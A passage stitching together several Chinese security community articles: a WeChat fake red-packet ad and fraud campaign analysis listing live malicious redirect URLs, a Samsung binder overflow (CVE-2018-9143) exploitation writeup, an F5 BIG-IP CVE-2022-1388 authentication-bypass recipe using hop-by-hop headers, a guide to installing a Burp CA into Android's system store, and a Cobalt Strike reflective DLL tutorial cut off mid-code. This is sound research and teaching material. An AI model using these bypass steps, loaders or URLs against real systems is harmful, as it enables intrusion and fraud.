该网页引入了微信JS-SDK、Jquery库、core.js和api.51bjbj.com内的JS脚本，其中core.js包含自定义的各种功能回调函数如：loadJS、hideShare和setBack等。
`https://api.51bjbj.com./config?var=window.data&sign=0` 则包含自定义的数据结构，指向的JS脚本如下：
window.data = {
"ad": {
"app_url": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
"desc": "\"\u5a07\u5a07\"\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a\uff0c90\u540e\u5355\u8eab\u59b9\u5b50\u65e5\u5165\u8fc7\u4e07\u7fa4\uff0c\u8fdb\u7fa4\u67e5\u770b\u8be6\u60c5",
"timeline_url": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
"img": "https://butuyu.oss-cn-hangzhou.aliyuncs.com/images/qun.png",
"title": "\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a"
},
"attached": {
"case": "7675-hb",
"signmode": "jsb",
"back_api": "https://zjygx.com/backup/args/bg_back.php",
"ad_share": {
"pyq": [0, 0],
"qun": [0, 0, 0, 0, 0, 0]
},
"timeline_ad": true,
"player": {
"delaytime": 538,
"vid": "c0763pr60i5"
},
"needWhite": false,
"group_ad": true,
"iosGoAdUrl": "",
"eqc": {
"s": "qngroup001/u4421337/1/0/c0d23906977fa89d18691744a2a21336.js",
"ib": 6,
"i3": 1,
"ic": 4,
"d": "qngroup001/u4420461/1/0/2405846441888db771cd590562fafb16.js"
}
},
"cnzz": "",
"hm": "0c1ecc9c91cfd52db097fbe47eb75864",
"to_timeline": {
"redirect": "",
"ad_weight": "100",
"ad_id": "9986",
"ad": false,
"ok_msg": "",
"title": "{fuck}{fuck}",
"img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
"landing": "",
"link": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fyppphoto.yupaopao.cn%2Fh73qh1s6oy.svg%3FHN8EuIO0%3DHN8EuIO0%26_c%3D5052",
"desc": ""
},
"to_group": {
"redirect": "",
"link": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fservice.ccmapp.cn%2Fvideaapi%2Fzcm%2Fupload%2Focimg%2F1546916994398.svg%3F9qZlETf4%3D9qZlETf4%26_c%3D5052",
"img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
"title": "{fuck}{fuck}",
"desc": "{fuck}\u2709",
"back_url": ""
}
}
数据中“img”字段指向了恶意传播的URL伪装图片：
在使用loadJs()加载文件后，`https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=1551335205185` 内含的JS脚本会执行红包界面的逻辑内容，简要示例如下：
`“<p style="font-size: 24px;">庆祝流浪地球电影票房破40亿</p>”`即是前端恶意推广的红包标题。
该脚本还包含了goShare函数进行分享操作如图：
其中，`https://api.51bjbj.com./getshare`请求将链接至http://weixin.site.eqxiu.com/...（不固定），并加载JS脚本。如图:
`https://s.51bjbj.com./jssdk/shareurl?_c=`则指向分享页面的网页来源如：`obs-cn-shenzhen.yun.pingan.com`。
此外我们注意到，作者在前端隐藏了微信的官方菜单接口。如图：
若用户将“红包”分享至群聊，则会生成多种形式的伪装界面，目前已知的形式分别为“群邀请”、“语音”和“广告链接”，如图所示：
当用户点击分享后的链接时，依然会被重定向至灰产URL并弹出广告。需要注意的是网页在后台 “锁定”了返回操作，用户在尝试返回时页面会轮循刷新广告。如图所示：
链接通过重定向和跳转最终定位到广告：
部分恶意广告原始链接如下：
* <https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/43/static/display.html?t=1551798979518>
* <https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/28/static/display.html?t=1551799084786>
* <https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/35/static/display.html?t=1551802234121>
* <https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/26/static/display.html?t=1551802236980>
* <https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/41/static/display.html?t=1551802242070>
* <https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/44/static/display.html?t=1552010485531>
### 三、溯源关联
我们尝试添加了几位“老中医”和“投资导师”，画风是这样的：
基本可以判断“红包”推送的广告为骗取定金或彩票刷单等诈骗行为，对方往往非常耐心，环环相诱，用户稍不留意就有可能落入圈套，造成财产损失。
此外，我们通过分析`https://api.51bjbj.com./config?var=window.data&sign=0`返回的JS脚本，在其接口数据中发现了CNZZ数据统计请求的链接。如图：
https://bird.sns.iqiyi.com/jump?jump_url=pic.app.dqdaily.com/20180510_67388_1551592980824.jpg?1zhF8Obn=1zhF8Obn&_c=7675链接指向了相似模板的旧版“恶意红包”。
可见该团伙年初便开始了恶意活动，不过其旧版广告链接已被查封。在进一步抓包分析后，我们发现重定向后的链接请求为：
Location：
[https://open.weixin.qq.com/connect/oauth2/authorize?appid=wxd588ca9e0a8b634e&redirect_uri=http%3A%2F%2Fbird.sns.iqiyi.com%2Fwx%2Fwxd588ca9e0a8b634e%2Fpic.app.dqdaily.com%252F20180510_67388_1551592980824.jpg%253F1zhF8Obn%253D1zhF8Obn&response_type=code&scope=snsapi_base&state=MSG#wechat_redirect](https://open.weixin.qq.com/connect/oauth2/authorize?appid=wxd588ca9e0a8b634e&redirect_uri=http%3A%2F%2Fbird.sns.iqiyi.com%2Fwx%2Fwxd588ca9e0a8b634e%2Fpic.app.dqdaily.com%252F20180510_67388_1551592980824.jpg%253F1zhF8Obn%253D1zhF8Obn&response_type=code&scope=snsapi_base&state=MSG#wechat_redirect)
请求包含了微信开发者appid: wxd588ca9e0a8b634e。依此我们关联到了某视频厂商的红包链接。
灰产团伙有可能参照过该厂商的红包模式，并借助其URL实现了微信客户端重定向跳转（`https://bird.sns.iqiyi.com/jump?jump_url=`）。值得注意的是，此类厂商提供的会员红包奖励往往需要授权登录账号，这给灰产团伙创造了很好的钓鱼机会，通过登录钓鱼等手段窃取用户资料和账号从而造成更大的破坏。此类团伙游走在法律的边缘，今天可以推送恶意广告，明天就能随时变身网络钓鱼。
### 四、总结分析
综上分析，当前微信的灰产利用正变得越发具有欺骗性和传播性。一些团伙通过技术手段制作以假乱真的“语音”、“群邀请”等链接来引诱用户点击，利用重定向和多级跳转规避检查，再结合逼真的“红包”交互攻击用户，利用用户急切获取红包的心理进行诱导关注、诈骗钱财和恶意传播。普通用户往往难以分辨真假，极易沦为灰产的传播工具，不仅自身可能遭受财产损失，还会帮助恶意流量大面积扩散。希望此类事件可以引起厂商和广大用户的高度警惕，防微杜渐，持续警惕灰产的各类恶意活动，共同维护好网络秩序。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员，“黑雀攻击”概念首推者。截止目前，ADLab已通过CVE累计发布安全漏洞近1000个，通过
CNVD/CNNVD累计发布安全漏洞近500个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
**作者：Flanker**
**公众号：[Flanker论安全](https://mp.weixin.qq.com/s?__biz=MzI3ODI4NDM2MA==&mid=2247483704&idx=1&sn=dc6eabe014090f174ca526f0a9817e18&chksm=eb58101fdc2f9909021d939b8421240ae5ec8d1dea736cc3ab3c615f18a563b8300e1e0539b1&mpshare=1&scene=1&srcid=&sharer_sharetime=1570849517150&sharer_shareid=e441301c3c77aafdcfee7b13b86b2e66&key=cf5b62dfad07411d2a252e4aa8b54574105e72178337af266f33c3ab10217738aa4ee892139f84c585afb51663cf7effb43ced61ca38552eb3d821c30f14cbfda927e80d2edc8110037197f605cd5061&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=SnW%2BVFm%2FV870RttB%2B14Y46REdDPzOD6cwq0VjGD23Uk1CaoT9lJweNxOZq22kyMK
"的") **
安卓生态多姿多彩，在AOSP之外各大厂商的binder
service也同样各式各样。这些自行实现的service通常来说是闭源的，常常成为会被人忽略的提权攻击面。在这一系列文章中，我会先描述如何定位可能有问题的binder
service进行后续研究，以及逆向中一些有意思的发现，随后会以之前发现的两个典型的CVE为例，讨论这些漏洞是如何产生的，如何发现它们，以及如何进行利用。
## 寻找潜在的分析目标
在Android N之前，所有的binder
service都是在`servicemanager`中进行注册的，client通过`/dev/binder`与service进行通讯。Android
N对binder服务引入了domain切分的概念，常规的服务依然使用/dev/binder，而vendor
domain则转换为使用`/dev/vndbinder`, hardware
domain转换为使用`/dev/hwbinder`。常规的untrusted_app访问被限制在了/dev/binder。
通过`service list`，我们可以查看设备上注册了多少normal
domain的service。AOSP设备一般会有100+，而各大厂商的设备均会达到200以上。其中大部分都是Java服务，虽说Java服务通常也会引入一些常见的逻辑问题，但暂时不属于本文的讨论范围。目前的范围内，我们只关注包含有native
code，可能存在内存破坏漏洞的组件。 所以第一个问题出现了，如何确定哪些服务是通过native code处理的？根据binder服务的形式，存在如下可能：
* 该服务直接运行在native process中
* 该服务运行在JVM process中（例：注册于system_server中），但存在JNI调用
无论分析哪种形式，我们都需要先确定该服务的host进程。在进程注册或打开binder服务的时候， debugfs中会留下相应的node entry或ref
entry。Android Internals的作者数年前开源的工具bindump即通过遍历这个信息来获取服务的进程关系。其工作原理如下：
* tool process打开目标服务，获取本进程新增的ref id
* 遍历procfs, 通过ref id匹配各进程的node id，匹配到的进程即为该服务host process
这个方法非常有效，不过随着Android的演进，原始的bindump工具现在遇到了如下问题：
* debugfs现在需要root权限才能打开，普通进程已经无法打开debugfs
* binder node现在具有了domain的概念，需要区分不同domain中的node
* 原始的bindump link到libbinder.so，但每个版本更新后symbol location会发生变化，导致原有的binary在新版本上无法运行，每个版本都会需要在AOSP source tree下重新编译（如果vendor改动了libbinder问题就更大了）
为了解决问题2和3，我用Java重写了bindump，将其打包成可以忽略平台版本问题单独运行的jar包，相关代码和precompiled
jar已经放在了[GitHub](https://github.com/flankerhqd/bindump4j "GitHub")上。
在解决了以上问题之后，我们终于可以定位到运行在native process中的服务，并进行后续分析了。
## CVE-2018-9143: buffer overflow in visiond service
`media.air`是一个运行在Samsung设备系统进程`/system/bin/visiond`中的服务。`visiond`本身加载了多个动态执行库，包括`libairserviceproxy`,
`libairservice`, `libair` 等, 并以system-uid运行。 相关服务的实现端，例如
`BnAIRClient::onTransact, BnEngine::onTransact,
BnAIRService::onTransact`等存在于`libairserviceproxy`中。
### 虚表指针去哪里了？
逆向C++库的关键准备之一是定位相应虚函数指针，并使用IDA脚本通过这些信息进行type
reconstruction。但当我们在IDA中打开`media.air`服务的动态库时，却惊讶地发现，在原来应该有vtable表项指针的地方，除了top-offset和virtual-base offset还在，其他的指针大部分神秘地消失了，如下图所示
而同样大版本的AOSP/Pixel/Nexus镜像的binary中并没有出现这样的问题。谁偷了我的虚表指针？
乍一看可能会觉得三星在故意搞事，像国内厂商一样做了某种混淆来对抗静态分析，但实际上并不是。为了理解这种现象，我们先来回忆下虚表项指针的存储方式。
首先，IDA给我们展示的rel section并不是ELF中实际的内容，而是处理过后的结果。虚表指针项并不直接存储在`.data.rel.ro`
section，而是linker
重定位之后的结果。它们的原始内容实际上存在于`.rela.dyn`中，以`R_AARCH64_RELATIVE`表项的形式存在。在library被加载时，linker会根据表项中的offset，将重定位后的实际地址写入对应的offset中，也就是vtable真正的地址。
IDA和其他分析工具会模拟linker的功能预先对这些内容进行解析并写入，但如果IDA解析relocation
table失败，那么这些地址会维持其在ELF中的原始内容，也就是0。
但是什么导致了IDA解析失败？这是在N后引入的`APS2`重定位特性，最先应用在chromium上，如下所述：
Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.
APS2将重定向表以SLEB128的格式压缩编码，对于大型binary可以缩小ELF的体积。具体的编码解码实现可以在[这里](http://androidxref.com/9.0.0_r3/xref/bionic/tools/relocation_packer/src/delta_encoder.h
"这里")找到。在运行时linker解压这个section，根据大小变化调整前后section的地址，将其恢复为一个正常的ELF进行加载。IDA尚不支持APS2
encoding所以我们会看到大部分重定向信息都丢失了，可以用上述`relocation_packer`工具将其解码恢复。
一个好消息: 在APS2引入两年之后，IDA 7.3终于增加了对其的支持，现在可以看到IDA已经可以正确地恢复虚表项地址了。
IDA Changelog:
File formats:
...
+ ELF: added support for packed android relocations (APS2 format)
...
## AirService copies in the air
在解决了逆向的这个问题之后，我们回过头来分析下这个服务的相关结构。`media.air`中的`BnAirServiceProxy`提供了两个接收客户端传入的`AirClient`的初始化函数，其中一个以StrongBinder的形式接受输入，并返回一个指向`BnAir`服务的handle供客户端进程再次调用。当option参数为0时，该函数会创建一个FileSource线程，当option参数为1时其会创建一个CameraSourceThread线程。只有在CameraSourceThread线程中可以触发本漏洞。
在获得服务端BnAir服务的handle后，客户端将可以进一步调用其实现的transaction。`libair.so`中提供的BnAIR服务实现了一个针对Frame的状态机，状态机的关键函数包括`configure`,
`start`和`enqueueFrame`。在按照顺序调用之后最终触发有漏洞的`enqueueFrame`函数。
android::RefBase *__fastcall android::FrameManager::enqueueFrame(__int64 someptr, __int64 imemory)
{
//...
v4 = (android::FrameManager::Frame *)operator new(0x38uLL);
android::FrameManager::Frame::Frame(v4, v5, *(_DWORD *)(v2 + 0x88), *(_DWORD *)(v2 + 140), 17, *(_DWORD *)(v2 + 144));
v16 = v4;
android::RefBase::incStrong(v4, &v16);
(*(void (**)(void))(**(_QWORD **)v3 + 0x20LL))(); //offset and size is retrived
v6 = (*(__int64 (**)(void))(*(_QWORD *)v16 + 88LL))(); //v6 = Frame->imemory->base();
v7 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)imemoryheap + 40LL))(imemoryheap); //v7 = imemoryheap->base();
memcpy(v6, v7 + v15, v14);//memcpy(frame->imemory->base(), imemoryheap->base() + offset, imemoryheap->size());//overflow here
//...
if ( imemoryheap )
android::RefBase::decStrong(
(android::RefBase *)(imemoryheap + *(_QWORD *)(*(_QWORD *)imemoryheap - 24LL)),
&imemoryheap);
result = v16;
if ( v16 )
result = (android::RefBase *)android::RefBase::decStrong(v16, &v16);
return result;
}
可以看到，传入的IMemory在被mmap后并没有对长度做任何的检查，直接memcpy进入了Frame的IMemory中，而后者的预定义size是`2*1024*1024`,即超过2M的映射，即会引发overflow。
整体的触发步骤如下：
* 向`media.air`发送一个code=1 的transaction以获取`BnAir`的handle，以下步骤的调用对象均为该handle
* 发送一个code=3 的transaction以触发 `android::AIRService::Client::configure(int)`。该函数会完成对应对象的参数初始化
* 发送一个code=4的transaction以创建一个AIRService Client, 并调用`android::AIRService::Client::start()`启动
* 最后一个code=7的transaction最终传入攻击者可控内容和长度的IMemory，触发`android::AIRService::Client::enqueueFrame(int, android::sp<android::IMemory> const&)`中的溢出
fpsr 00000000 fpcr 00000000
backtrace:
#00 pc 000000000001b014 /system/lib64/libc.so (memcpy+332)
#01 pc 0000000000029b5c /system/lib64/libairservice.so (_ZN7android12FrameManager12enqueueFrameERKNS_2spINS_7IMemoryEEE+188)
#02 pc 0000000000030c8c /system/lib64/libairservice.so (_ZN7android10AIRService6Client12enqueueFrameEiRKNS_2spINS_7IMemoryEEE+72)
#03 pc 000000000000fbf8 /system/lib64/libair.so (_ZN7android5BnAIR10onTransactEjRKNS_6ParcelEPS1_j+732)
#04 pc 000000000004a340 /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+132)
#05 pc 00000000000564f0 /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1032)
#06 pc 000000000005602c /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+156)
#07 pc 0000000000056744 /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+128)
#08 pc 0000000000074b70 /system/lib64/libbinder.so
#09 pc 00000000000127f0 /system/lib64/libutils.so (_ZN7android6Thread11_threadLoopEPv+336)
#10 pc 00000000000770f4 /system/lib64/libc.so (_ZL15__pthread_startPv+204)
#11 pc 000000000001e7d0 /system/lib64/libc.so (__start_thread+16)
## 如何利用？
这是一个类似于Project
Zero之前公布的bitunmap案例的漏洞，两者的溢出都发生在mmap过的区域。由于mmap分配的内存区域相对较大，位置不同于常规的堆管理器管理区域，其利用方式不同于传统的堆溢出。读者应该会回忆到Project
Zero是通过特定函数分配thread，然后溢出thread的control
structre的方式来实现控制流劫持。同样地，在我们的目标中，`android::AIRService::Client::configure`被调用时，它会创建一个新的thread。通过风水Frame对象，我们构造内存空洞并在空洞中创建thread，触发溢出后劫持thread中的回调指针来最终控制PC。
但这还远远没有结束。虽然该进程是system-uid，但SELinux对其有严格的限制，例如no execmem, no executable file
loading,
甚至无法向ServiceManager查询大部分系统服务。即使控制了PC，接下来又该何去何从，例如如何利用提升的权限来安装恶意应用，如果根本无法lookup
PackageManagerService？
这里需要注意的是，虽然SELinux禁止了visiond去lookup
service，但实际上并没有限制调用service自身的transaction，这依赖于service自身的实现，例如ActivityManagerService的相关函数是通过enforceNotIsolated标注来禁止isolated进程调用。所以只要能成功地将PMS的binder
handle传递给visiond，攻击者依然可以以visiond的身份调用PMS来安装恶意应用，相关步骤如下：
* Attacking app (untrusted_app context) 获得PMS的StrongBinder handle
* Attacking app 将handle传递给visiond. 任何接收StrongBinder的服务端函数均可，例如`BnAirServiceProxy`中的第一个transaction
* Attacking app 触发上述漏洞获取PC控制后，payload在内存中搜索上一步传入的PMS handle
* Payload通过该handle调用PMS，完成恶意应用安装
## 总结
以上即为CVE-2018-9143，一个典型的binder
service漏洞的故事。Samsung已经发布了advisory和补丁，并通过firmeware
OTA修复了该漏洞。在下一篇文章中，我会介绍CVE-2018-9139，sensorhubservice中的一个堆溢出，以及如何通过fuzzing发现的该漏洞和它的利用（包括一个控制PC的poc）。
本文所描述的相关poc和有漏洞的服务binary均可以在 <https://github.com/flankerhqd/binder-cves> 中找到。
* * * | 社区文章 |
# F5 BIG-IP 未授权 RCE（CVE-2022-1388）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：知道创宇404实验室 kuipla、Billion **
**
2022/5/4日F5官方发布一个关于BIG-IP的未授权RCE（CVE-2022-1388）安全公告，官方对该漏洞的描述是`Undisclosed
requests may bypass iControl REST
authentication.`，修复方式中提到了低版本可以将非`Connection:keep-alive`和`Connection:close`的请求全部关闭。
## 0x00 补丁分析
由于BIG-IP的框架依旧有大佬分析过了，因此我们直接根据去寻找apache的认证服务`mod_pam_auth.so`以及`mgmt`转发的8100端口对应的认证/usr/share/java/rest/目录下发生改变的jar包上。
#### mod_pam_auth.so
在ida中使用bindiff插件对比新旧两个so文件，能够发现只有sub_5EF0和5AF0改动比较大
接下来用ida把这两个函数反编译出来进行对比，主要修改位置有以下两处
此处是将非`Connection:keep-alive`和`Connection:close`的请求头清除。
此处是对X-F5-Auth-Token进行了验证，而不是之前简单判断了下是否赋值。
测试发现确实可以bypass apache认证
添加xf5头
#### icrd.jar&f5.rest.jar
通过对icrd/com/f5/mgmt/tm/common/WellKnownPorts.class的路由分析以及鉴权的com/f5/rest/app/RestServerServlet.class进行前后对比，我们发现一个很奇怪的事情，鉴权部分的代码并未进行大的更改，也就是说apache的请求走私可以bypass掉jetty的认证。
#### 总结
猜测`Connection`头请求走私可以bypass jetty的认证。
根据官方的描述和推特上的讨论，我们一开始是认为这个洞是由CVE-2021-22986的SSRF带出cookie的bypass。因为一般的请求走私是CL-CL，CL-TE，TE-CL，TE-TE，但因为BIG-IP使用的apache不支持 Transfer-Encoding，因此我们猜测走私的原因放到了`Content-Length`上走私请求到一个未授权的接口获取SSRF。
后面卡了很久也没找到这个”不存在的接口”，最后才发现是`hop-by-hop`导致的问题。
关于`hop-by-hop`是在这里导致的权限bypass我们放到下面细讲。
## 0x01 漏洞分析
首先我们先来看如果要Bypass掉Apache的认证怎么做，根据官方的补丁，只要符合`X-F5-Auth-Token`不为空即可，并且mod_pam_auth.so是先判断X-F5-Auth-Token后再判断Authorization的值，这给了`hop-by-hop`一个很大的操作空间。
那么剩下的就是jetty的认证，jetty的认证只要由组成X-F5-Auth-Token和Authorization组成。由于鉴权部分并未做太大改动，因此我们简单描述下两者是如何进行检验的。
#### X-F5-Auth-Token
com/f5/rest/workers/EvaluatePermissions.class#evaluatePermission
请求最后会被送到`/shared/authz/tokens/`进行验证，由于跟CVE-2022-1388关系不大就不继续跟下去了。
#### Authorization
Authorization的鉴权非常奇怪，Authorization是由authn进行的验证，之前了解过CVE-2021-22986肯定知道这里之前只鉴权了用户名是否存在，因为admin一定存在，只要将Auth设置为`YWRtaW46`就行。
补丁的是检测了X-Forwarded-Host不为本地的Basic Auth header的账号密码，但X-Forwarded-Host为本地IP依旧只检测了账户名是否正确。
com/f5/rest/common/RestOperationIdentifier.class#setIdentityFromBasicAuth
那么这个X-Forwarded-Host是怎么赋值的呢，很明显已公开的poc中并没有直接在header中添加X-Forwarded-Host，其实这个字段是由apache整出来的，后面提到的变形poc中会讲解怎么利用，这里由于逆向能力不强就不献丑了。
在最新版测试发现这个问题依旧存在，猜测可能是环境内部的一些其他认证需求导致的这个问题。
#### hop-by-hop
hop-by-hop简单的说就是将可以在`Connection: Keep-Alive`后面再加一个字段，这个字段在经过代理服务器转发后会被删除。理论上东西的危害非常有限，甚至于说不能算漏洞。
但是在BIG-IP的环境下，有一个非常罕见的系统流程路径可以经过hop-by-hop产生RCE。
让我们回顾一下整个系统的认证流程，apache是检查Authorization的正确性，但只检测X-F5-Auth-Token是否为空，并且优先检查X-F5-Auth-Token。Jetty同样优先检查X-F5-Auth-Token的正确性，但只检查Authorization是否是合法用户名。
那么只要我们设置Host为localhost，X-F5-Auth-Token不为空，Authorization设置为`YWRtaW46`，`Connection: Keep-Alive, X-F5-Auth-Token`就可以绕过apache的检查，同时apache还会贴心的帮我们删去`X-F5-Auth-Token`，把请求直接送到`Authorization`的验证，从而实现bypass。
## 0x02 一些poc的变种
经过我们的测试发现两种poc变种
1. 写两个`X-F5-Auth-Token:`也能绕过apache的检测
2. 同时由于hop-by-hop的原因，即使apache删除了header中的X-Forwarded-Host，但如果我们用`Connection: Keep-Alive, X-F5-Auth-Token, X-Forwarded-Host`，那么我们设置的X-Forwarded-Host依旧生效，这样Host就不必必须为localhost了
## 参考链接
<https://book.hacktricks.xyz/pentesting-web/abusing-hop-by-hop-headers>
<https://blog.riskivy.com/f5%E4%BB%8E%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E5%88%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90>
<https://support.f5.com/csp/article/K23605346> | 社区文章 |
# 微信小程序抓包之路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
ios端和mac用户可以忽略以下内容，本文针对于windows端和android端的微信无法抓取小程序数据包提出相关解决方案。
最近测试小程序发现以前的抓包方式都不管用了，无论是用PC端还是手机端都有问题，这里经过测试给出大家提供解决方案。
## 原因分析
Android7.
0及以上的系统中，每个应用可以定义自己的可信CA集。默认情况下，应用只会信任系统预装的CA证书，而不会信任用户安装的CA证书。而某些APP只信任自己内置的证书，所以导致安装的证书针对这些APP无法生效。
微信新版本貌似就是只信任自己内置证书，再或者android11对于证书又有什么新的改变，因为我自己的手机上证书是添加到系统证书里了，但还是无法抓取小程序的数据包，最后选择了以下的解决方法。
## 解决方案一
直接通过pc端，配置全局代理，进行抓包，当然是无法抓到的，百度得来了一种方法。
先打开小程序，启动任务管理器，确定目录位置
然后定位到WMPFruntime文件夹
关闭小程序，关闭微信，删除文件夹内内容，重新打开微信小程序就能抓包
## 解决方案二
使用模拟器，这里我使用的夜神模拟器，安卓版本android7，微信版本8.0+
模拟器代理配置
证书生成
首先生成android可用的证书，从burp导出证书der文件
生成pem格式证书
openssl x509 -inform der -in bp.der -out bp.pem
查看内容
openssl x509 -subject_hash_old -in bp.pem
获取到hash标识
修改pem文件名字为框选处+0，如图我这里应该修改为9a5ba575.0
证书导入
打开adb，查看机器
依次执行
adb root // 提升到root权限
adb remount //重新挂载system分区
adb push 9a5ba575.0 /system/etc/security/cacerts/ //将证书放到系统证书目录
查看系统证书就会发现成功安装
抓包
打开微信配置代理即可抓取小程序包
## 解决方案三
降级，这个操作说简单也简单，选择低版本微信安装使用，模拟器也选择低版本的安卓系统。问题在于测试机去做系统降级刷机操作可能繁琐点，所以优先选择模拟器。
使用模拟器助手添加android 5版本的模拟器
高版本微信无法安装到android5上，所以需要去应用市场上找一下低版本的微信。这种方式大概率没有奇奇怪怪的抓包问题，证书也很容易配置。
有同事跟我讲使用低版本微信操作可能会有封号风险，故没有深入测试，有兴趣的朋友可以折腾下，不过如果仅仅为了测试小程序，建议直接使用方案一或方案二，当然也可以直接使用ios系统活mac。 | 社区文章 |
### 前言
Cobalt Strike已经成了目前工作中经常用渗透工具了，通常我们会通过写一下插件来武装自己的Cobalt
Strike，比如我们会用`bexecute_assembly`来对自己编写的`Csharp`进行内存加载实现不落地。那么其他语言的呢？同样也提供了[bdllspawn](https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn)来反射DLL。本文章主要讲的就是利用反射DLL来武装自己的Cobalt Strike。
### C++ ReflectiveDLL
首先将C/C++编写的程序如何进行ReflectiveDLL，Cobalt
Strike的bdllspawn是基于项目[ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection)实现的。我们只需要把C++编写的功能写到`ReflectiveDll.c`里即可，这里参考[倾旋](https://payloads.online/archivers/2020-03-02/1)师傅的文章和工具。改写`ReflectiveDll.c`来实现传参。
#### 参数转换
##### 引用与定义
#include "ReflectiveLoader.h"
#include <string>
#include <shellapi.h>
#pragma comment(lib, "Shell32.lib")
std::string szargs;
std::wstring wszargs;
std::wstring wsHostFile;
int argc = 0;
LPWSTR* argv = NULL;
##### 参数类型转换
在`ReflectiveDll.c`里是通过DLLMain函数的`lpReserved`来当做参数传递，我们可以做一个类型的转换，将`lpReserved`转换成命令行参数格式。
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
#### 功能编写
在转换参数后，我们就可以把一些C++功能代码写入，我这就简单编写一个参数输出功能，进行测试。
hAppInstance = hinstDLL;
printf("C++ ReflectiveDLL\n");
/* print some output to the operator */
if (lpReserved != NULL) {
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
}
if (argv == NULL) {
printf("[+] Error Arguments ! \n");
break;
}
printf("[+] Args Count : %d \n", argc);
for (size_t i = 0; i < argc; i++)
{
wprintf(TEXT("[%d] %s \n"), i, argv[i]);
}
/* flush STDOUT */
fflush(stdout);
/* we're done, so let's exit */
ExitProcess(0);
break;
#### Aggressor Script
编译`ReflectiveDll.c`得到一个dll文件，然后编写一个`Aggressor Script`脚本来加载它。
Aggressor Script脚本提供了一些关于反射DLL的接口：<https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn>
alias hello {
$args = substr($0, 6);
bdllspawn($1, script_resource("reflective_dll.dll"),$args, "test dll", 5000, false);
}
#### 测试效果
这样我们就实现了将c++编写的dll通过ReflectiveDll来实现不落地传参执行了。
### Golang ReflectiveDLL
Golang也成了现在一些安全工作者用得比较多的一种语言了，使用Golang开发的安全工具也越来越多，所以我们也可以通过ReflectiveDLL来对Golang程序进行利用。
这里参考[WBGlIl](https://wbglil.github.io/)师傅的项目[go-ReflectiveDLL](https://github.com/WBGlIl/go-ReflectiveDLL)和国外大佬的文章[Weaponizing
your favorite Go program for Cobalt
Strike](https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/)。
特别感谢一下WBGlIl师傅，在我遇到问题的时候给予我的帮助~
#### main.go
参考WBGlIl师傅的项目，将main.go改成一个传入参数并输出参数的功能，并将test函数设置为导出函数。
package main
import "C"
import (
"fmt"
"os"
gsq "github.com/kballard/go-shellquote"
)
//export test
func test(arg string) {
args, err := gsq.Split(arg)
if err == nil {
fmt.Println("Golang ReflectiveDLL")
os.Args = args
fmt.Printf("Args Count %d\n",len(os.Args))
for i := 0; i < len(os.Args); i++ {
fmt.Printf("[%d] %s\n",i,os.Args[i])
}
}
}
func main() {
}
#### dllmain.c
参考老外文章将`lpReserved`转换为 `GoString`，传入到dll的导出函数test里。
#include "dllmain.h"
#include<Windows.h>
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved) // reserved
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
{
GoString goArgs = {0};
if(lpReserved != NULL){
goArgs.p = (char*)lpReserved;
goArgs.n = strlen(lpReserved);
